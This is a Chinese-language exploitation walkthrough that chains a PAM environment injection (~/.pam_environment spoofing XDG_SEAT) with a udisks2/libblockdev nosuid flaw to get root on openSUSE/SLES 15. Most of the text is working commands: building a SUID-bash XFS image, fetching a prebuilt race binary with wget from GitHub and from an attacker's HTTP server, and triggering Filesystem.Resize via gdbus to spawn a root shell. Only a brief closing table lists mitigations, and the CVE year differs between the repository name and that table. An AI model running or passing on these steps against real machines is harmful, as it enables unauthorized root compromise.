目标操作系统: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
所需访问权限: 具有 SSH 访问权限的非特权本地用户
结果: 完整 root shell
本文档详细介绍了由 Qualys 威胁研究部门发现的两个链式本地权限提升漏洞的手动利用方法:
~/.pam_environment 进行 PAM 环境变量注入,允许远程 SSH 用户获得通常仅保留给物理在场的控制台用户的 allow_active Polkit 状态。libblockdev(由 udisks2 使用)在 Filesystem.Resize D-Bus 操作期间临时挂载文件系统时未能应用 nosuid 标志,允许从用户控制的循环设备执行 SUID 二进制文件。将这两个漏洞链式利用,任何非特权 SSH 用户都可以在无需其他用户交互的情况下提升至 root 权限。
攻击者机器(Kali Linux):
xfsprogs(sudo apt install xfsprogs -y)gccpython3 -m http.server)目标机器:
udisks2 和 polkit(这些系统默认安装)gdbus(属于 glib2,默认安装)在以非特权用户身份获得 SSH 访问后,确认目标存在漏洞。
检查操作系统:
cat /etc/os-release | grep -E "NAME|VERSION"
系统必须是 openSUSE Leap 15.x 或 SUSE Linux Enterprise 15.x。
检查 pam_env 是否读取用户文件:
grep "pam_env" /etc/pam.d/common-auth
查找 user_readenv=1 或仅查找 pam_env.so 的存在。在默认的 SUSE 安装中,此功能已启用。
检查 udisks2 和 polkit 是否正在运行:
systemctl is-active udisks2
systemctl is-active polkit
检查循环设备设置的 Polkit 策略:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
allow_active 值必须为 yes。
allow_active此漏洞利用了 pam_env.so 在 SSH 登录期间读取 ~/.pam_environment 并将这些变量注入会话环境(在 pam_systemd.so 评估会话上下文之前)的事实。通过设置 XDG_SEAT 和 XDG_VTNR,攻击者诱骗 systemd-logind 将远程 SSH 会话视为物理控制台会话,从而授予 allow_active Polkit 权限。
注入变量:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
注销并通过 SSH 重新连接以触发 PAM 处理:
exit
ssh user@<target_ip>
验证现在是否已授予 allow_active:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
输出必须显示:
Active=yes
Seat=seat0
VTNr=1
如果未自动填充,则设置会话 ID 和 D-Bus 地址:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
XFS 镜像必须使用与 SUSE 15 内核兼容的功能进行格式化。现代版本的 xfsprogs 默认启用 exchange、parent、bigtime、inobtcount 和 nrext64 等功能,这些功能不受旧版 SUSE 内核支持,将导致挂载失败。以下标志可生成兼容的 V5 XFS 镜像:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
挂载镜像并注入 SUID bash 二进制文件:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
输出必须显示 -rwsr-xr-x 1 root root。
由于 Filesystem.Resize 期间的易受攻击挂载窗口仅有几毫秒宽,因此需要编译的 C 二进制文件才能可靠地捕获它。纯 Bash 循环太慢。
从发布页面下载预编译的有效载荷:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] 您也可以自行编译该二进制文件。源代码可在 payload.c 中找到。
通过 HTTP 提供这两个文件:
cd /tmp && python3 -m http.server 8888
# 传输 XFS 镜像
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# 传输捕获器二进制文件
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
此步骤需要两个同时进行的 SSH 会话连接到目标。
设置循环设备(任一会话):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
记下分配的循环设备,例如 /dev/loop1。
会话 1:启动捕获器并保持其运行:
/tmp/payload
[!NOTE] 如果捕获器立即退出而未产生 root shell,请尝试在设置循环设备之前启动它,并重复该序列。
会话 2:立即触发调整大小操作:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Resize 调用将返回错误,但在失败之前,libblockdev 会在 /tmp/blockdev.XXXXXX/ 下的临时路径挂载文件系统,且未使用 nosuid 标志。会话 1 中的捕获器检测到此挂载,从其中执行 SUID bash 二进制文件,将 root shell 复制到 /tmp/rootbash,并生成它。
[!NOTE] 如果您遇到
Not authorized to perform operation问题,请尝试使用您成功执行udiskctl loop-setup...命令的终端,并使用另一个 shell 运行/tmp/payload脚本。
捕获器完成后,root shell 会自动生成,或者可以通过以下方式获取:
/tmp/rootbash -p
whoami
# root
| 组件 | 修复方法 |
|---|
| CVE-2025-6018 | 在 PAM 中禁用 user_readenv:在 /etc/pam.d/common-auth 中设置 user_readenv=0 |
| CVE-2025-6019 | 将 libblockdev 和 udisks2 更新为发行版供应商提供的已修补版本 |
| Polkit 加固 | 在 UDisks2 策略文件中将 org.freedesktop.udisks2.loop-setup 的 allow_active 更改为 auth_admin |